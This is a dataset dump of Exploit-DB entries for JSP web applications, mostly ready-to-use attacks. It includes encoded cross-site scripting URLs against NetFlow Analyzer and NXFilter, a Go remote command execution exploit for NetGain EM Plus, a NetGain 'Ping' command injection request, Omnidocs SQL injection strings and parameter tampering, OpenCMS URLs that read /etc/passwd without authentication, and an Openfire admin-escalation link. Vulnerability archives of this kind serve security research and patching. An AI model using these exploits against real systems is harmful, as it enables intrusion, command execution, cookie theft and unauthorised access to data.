deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30267
Description: NetFlow Analyzer 5 - '/jspui/appConfig.jsp?task' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24766/info
 
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/appConfig.jsp?task=Modif y%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%7 2%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%6 2%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6 E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3 E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%6 5%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3 C%2F%62%6F%64%79%3E&appID=62
Exploit-DB #30266
Description: NetFlow Analyzer 5 - '/jspui/applicationList.jsp?alpha' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24766/info

NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/applicationList.jsp?alph a=A%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68 %72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F %6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C %2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70 %3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D %65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E %3C%2F%62%6F%64%79%3E
Exploit-DB #30270
Description: NetFlow Analyzer 5 - '/jspui/customReport.jsp?rtype' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24766/info
    
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/customReport.jsp?rtype=gl obal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68% 72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62 %6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%2 0%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62% 72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E%3C%73 %63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2 E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F% 64%79%3E&period=hourly&customOption=true&firstTime=true
Exploit-DB #30269
Description: NetFlow Analyzer 5 - '/jspui/selectDevice.jsp?rtype' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24766/info
   
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
This issue affects NetFlow Analyzer 5; other versions may also be affected.

 http://www.example.com/netflow/jspui/selectDevice.jsp?rtype=g lobal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F% 6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65% 6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2 F%62%6F%64%79%3E
Exploit-DB #30268
Description: NetFlow Analyzer 5 - 'netflow/jspui/index.jsp?view' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-07-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24766/info
  
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects NetFlow Analyzer 5; other versions may also be affected.

 http://www.example.com/netflow/jspui/index.jsp?grID=-1&view= ipgroups%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61% 20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F% 6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74% 6D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31% 3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C% 2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63% 75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70% 74%3E%3C%2F%62%6F%64%79%3E&grDisp=Todos%20los%20grupos 
http://www.example.com/netflow/jspui/index.jsp?grID=-1&view=g roups%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20% 68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E% 2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D% 6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E% 3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F% 70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75% 6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74% 3E%3C%2F%62%6F%64%79%3E&grDisp=1
Exploit-DB #47391
Description: NetGain EM Plus 10.1.68 - Remote Command Execution
Type: webapps
Platform: jsp
Date: 2019-09-16
Author: azams

Exploit:
/********************************************************************************
# Exploit Title: NetGain EM Plus <= v10.1.68 - Unauthorized Local File Inclusion
# Date: 15 September 2019
# Exploit Author: azams / @TheRealAzams
# Vendor Homepage: http://netgain-systems.com
# Software Link: http://www.netgain-systems.com/free/
# Version: v10.1.68
# Tested on: Linux
#
# Install golang: https://golang.org/doc/install
# Compile exploit: go build exploit.go
# Run exploit without compiling: go run exploit.go
# Shouts: Rix, Channisa, Ridho7ul & Horangi!
*********************************************************************************/
package main

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var (
	target string
	port   string
	cmd    string
)

func main() {
	for i := range os.Args {
		if os.Args[i] == "-u" {
			target = os.Args[i+1]
		} else if os.Args[i] == "-p" {
			port = os.Args[i+1]
		} else if os.Args[i] == "-cmd" {
			cmd = os.Args[i+1]
		}
	}
	if target != "" || port != "" || cmd != "" {
		cmd = "type=sh&content=%232Fbin%2Fsh%0Aecho+'0xdeadnoob'%0a" + cmd + "%0aecho+'0xdeadnoob'&args=&count=0&ip=localhost"
		status, body := exploit()
		if strings.Contains(status, "200") {
			fmt.Println("Status Code: " + status)
			result := strings.Split(body, "0xdeadnoob")
			fmt.Println("Result: \n" + strings.Trim(result[1], "\n"))
			return
		}
		fmt.Println("Exploit failed!")
	} else {
		fmt.Println("Usage: ./exploit -u http://127.0.0.1 -p 8181 -cmd 'id;'")
	}
}

func exploit() (string, string) {
	tbTransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
	client := &http.Client{Transport: tbTransport}
	datas, err := url.ParseQuery(cmd)
	req, err := http.NewRequest("POST", target+":"+port+"/u/jsp/designer/script_test.jsp", strings.NewReader(datas.Encode()))
	req.Header.Set("Content-type", "application/x-www-form-urlencoded")
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	body, _ := ioutil.ReadAll(resp.Body)
	return resp.Status, string(body)
}
Exploit-DB #41499
Description: NetGain Enterprise Manager 7.2.562 - 'Ping' Command Injection
Type: webapps
Platform: jsp
Date: 2017-02-23
Author: MrChaZ

Exploit:
# Exploit Title: NetGain Enterprise Manager – “Ping” Command Injection
# Date: 23.02.2017
# Exploit Author: MrChaZ
# Vendor Homepage: http://www.netgain-systems.com/
# Version: <= v7.2.562 build 853
# Tested on: Windows 10 Pro 64-bit (10,0 Build 14393


Description:
===========================================================================
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

https://www.owasp.org/index.php/Command_Injection

Vulnerable Menu:
===========================================================================
[+] Tools – Ping

Proof of Concept:
===========================================================================
POST /u/jsp/tools/exec.jsp HTTP/1.1
Host: 192.168.0.13:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.13:8081/u/index.jsp
Content-Length: 97
Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF
Connection: close
Pragma: no-cache
Cache-Control: no-cache

command=cmd+%2Fc+ping&argument=127.0.0.1+%7C+whoami&async_output=ping[PII_REDACTED]58&isWindows=true
-
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 70
Date: Thu, 23 Feb 2017 13:27:40 GMT
Connection: close
Exploit-DB #38646
Description: NXFilter 3.0.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2015-11-06
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt


Vendor:
================================
www.nxfilter.org/p2/


Product:
================================
NXFilter v3.0.3


Vulnerability Type:
=========================
Persistent & Reflected XSS


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Persistent & reflected XSS entry points exist allowing arbitrary client
side browser code execution
on victims who click our infected linx or visit persistently stored XSS
payloads. XSS strings seem
to get filtered, yet we can defeat that using JS String.fromCharCode()
functions.


Exploit code(s):
===============

1) persistent XSS under category / custom
   "name" parameter is vulnerable to persistent XSS injection using POST
method.

http://localhost/category,custom.jsp
<input type="text" name="description" value="<script>alert(666)</script>"
size="50">


2) reflected XSS

http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points=



3) reflected XSS

http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E



Disclosure Timeline:
=======================================
Vendor Notification:  October 18, 2015
November 5, 2015 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
===================================================
High


Description:
==================================================
Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] NXFilter v3.0.3


Vulnerable Parameter(s):        [+] name, user, kw



===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Exploit-DB #17897
Description: Omnidocs - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2011-09-27
Author: Sohil Garg

Exploit:
--------------------------------------------------------------------
# Exploit Title: Multiple Vulnerability in "Omnidocs"
# Date: 24 Sep 2011
# Author: Sohil Garg
# Software Link: http://www.newgensoft.com/omnidocs.asp
# Version: All
# Tested on: Apache-Coyote/1.1
# CVE : CVE-2011-3645
�
---------------------------------------------------
"Omnidocs" Multiple vulnerability.
---------------------------------------------------
By � � � :Sohil Garg
Email � �:sohil_garg@yahoo.co.in
---------------------------------------------------
�
Product Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and�

contents. Also integrates seamlessly with other enterprise applications.
�
------------------
Vulnerability
------------------
�
1.Vulnerbility Type
Privilege escalation

Affected URL:�
http://serverIP/omnidocs/doccab/doclist.jsp?DocListFolderId=927964&FolderType=G&FolderRights=010000000&FolderName=1234&FolderOwner=test&FolderLocation=G&Fold
erAccessType=I&ParentFolderIndex=100&FolderPathFlag=Y&Fetch=5&VolIndex=1&VolIndex=1
�
Vulnerable Parameter:�
FolderRights

Exploit
Omnidocs application does not validate 'FolderRights' parameter. This parameter could be modified to '111111111' to get full access including rights to add�
documents, add folders, delete folders and place orders.



2.Vulnerability Type
Direct Object Access

Sample URL:
http://serverIP/omnidocs/doccab/userprofile/editprofile.jsp

Vulnerable Parameter:
UserIndex

Exploit:
Omnidocs application does not validate 'UserIndex' parameter. 'UserIndex' parameter is used to access the personal setting page. This parameter can be�
changed to other valid numbers thereby gaining access to view or change other user's personal settings.


Timeline:
Notified Vendor: 01-Sep-2011
No response received from vendor for 3 weeks
Public Disclosure: 23-Sep-2011


-----------------------------------------------------
Greetz to:
1] Nikhil Mittal
Exploit-DB #11393
Description: Omnidocs - SQL Injection
Type: webapps
Platform: jsp
Date: 2010-02-11
Author: thebluegenius

Exploit:
--------------------------------------------------------------------
# Exploit Title: Omnidocs SQL injection Vulnerability
# Date: 10 Feb 2010
# Author: thebluegenius
# Software Link: http://www.newgensoft.com/omnidocs.asp
# Version: All
# Tested on: Apache-Coyote/1.1 | JBoss
# CVE : NA

---------------------------------------------------
"Omnidocs" SQL injection vulnerability.
---------------------------------------------------
By       :Thebluegenius. 
Email    :rajsm@isac.org.in
Blog	 :thebluegenius.com.
---------------------------------------------------

Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, capturing, managing, delivering and archiving large volumes of documents and contents. Also integrates seamlessly with other enterprise applications.

------------------
Vulnerability
------------------

Affected URL: http://server/omnidocs/ForceChangePassword.jsp

Command: ' or 'a' = 'a'
Confirmed SQL Injection error :  ORA-00907: missing right parenthesis           

Command: or exists (select 1 from sys.dual) and ''x''=''x'
Confirmed SQL Injection error : ORA-01756: quoted string not properly terminated           

-----------------------------------------------------
Greetz Fly Out to:
1] Amforked()  : My good friend
2] Aodrulez    : for inspiring me
3] www.OrchidSeven.com
4] www.isac.org.in
Exploit-DB #28278
Description: OpenCMS 6.0/6.2 - Multiple Unauthorized Access Vulnerabilities
Type: webapps
Platform: jsp
Date: 2006-07-26
Author: Meder Kydyraliev

Exploit:
source: https://www.securityfocus.com/bid/19174/info

OpenCMS is prone to multiple unauthorized-access vulnerabilities because it fails to properly authenticate users when performing administrative tasks.

An attacker can exploit these issues to view, delete, and modify application data. This could aid in further attacks on the affected computer.

Versions 6.2.1, 6.2, 6.04, and 6.03 are vulnerable; prior versions may also be affected.

http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp?path=%2Fworkplace%2Flogfileview
http://www.example.com/opencms/opencms/system/workplace/admin/workplace/logfileview/downloadTrigger.jsp?filePath=/etc/passwd
http://www.example.com/opencms/opencms/system/workplace/editors/editor.jsp?resource=/index.jsp
http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp?path=%2Faccounts%2Fwebusers/new
http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp? path=%2Fmodules%2Fmodules_import
http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp?path=%2Fdatabase%2Fimporthttp
http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp?path=%2Fworkplace%2Fbroadcast
http://www.example.com/opencms/opencms/system/workplace/views/admin/admin-main.jsp?path=%2Faccounts/users
Exploit-DB #26924
Description: OpenEdit 4.0 - Results.HTML Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16004/info

OpenEdit is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/store/search/results.html?query=&department=&oe-action=[XSS]
/store/search/results.html?page=[XSS]
Exploit-DB #38190
Description: Openfire 3.10.2 - Privilege Escalation
Type: webapps
Platform: jsp
Date: 2015-09-15
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-PRIV-ESCALATION.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Privilege escalation



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
No check is made when updating the user privileges, allowing regular user
to become an admin.
Escalation can be done remotely too if user is logged in as no CSRF token
exist.





Exploit code(s):
===============

Become admin!

http://localhost:9090/user-edit-form.jsp?username=hyp3rlinx&save=true&name=blasphemer&email=ghostofsin@abyss.com&isadmin=on




Disclosure Timeline:
=========================================================

Vendor Notification: NA
Sept 14, 2015 : Public Disclosure




Exploitation Technique:
=======================
Local or Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] isadmin


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx